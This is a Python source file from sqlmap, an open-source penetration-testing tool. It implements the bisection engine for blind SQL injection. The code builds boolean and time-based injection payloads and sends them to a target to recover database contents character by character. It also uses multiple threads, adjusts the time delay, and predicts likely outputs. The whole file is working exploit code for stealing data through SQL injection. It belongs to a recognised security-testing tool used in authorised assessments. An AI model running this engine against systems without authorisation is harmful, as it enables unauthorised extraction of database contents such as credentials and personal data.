#!/usr/bin/env python """ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import threading import time from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter from lib.core.common import goGoodSamaritan from lib.core.common import getPartRun from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR from lib.core.settings import MAX_BISECTION_LENGTH from lib.core.settings import MAX_TIME_REVALIDATION_STEPS from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.xrange import xrange def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(asciiTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData = getCurrentThreadData() threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) partialValue += val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ infoMsg = "retrieving the length of query output" logger.info(infoMsg) lengthExprUnescaped = agent.forgeQueryOutputLength(expression) start = time.time() count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": length = 0 return length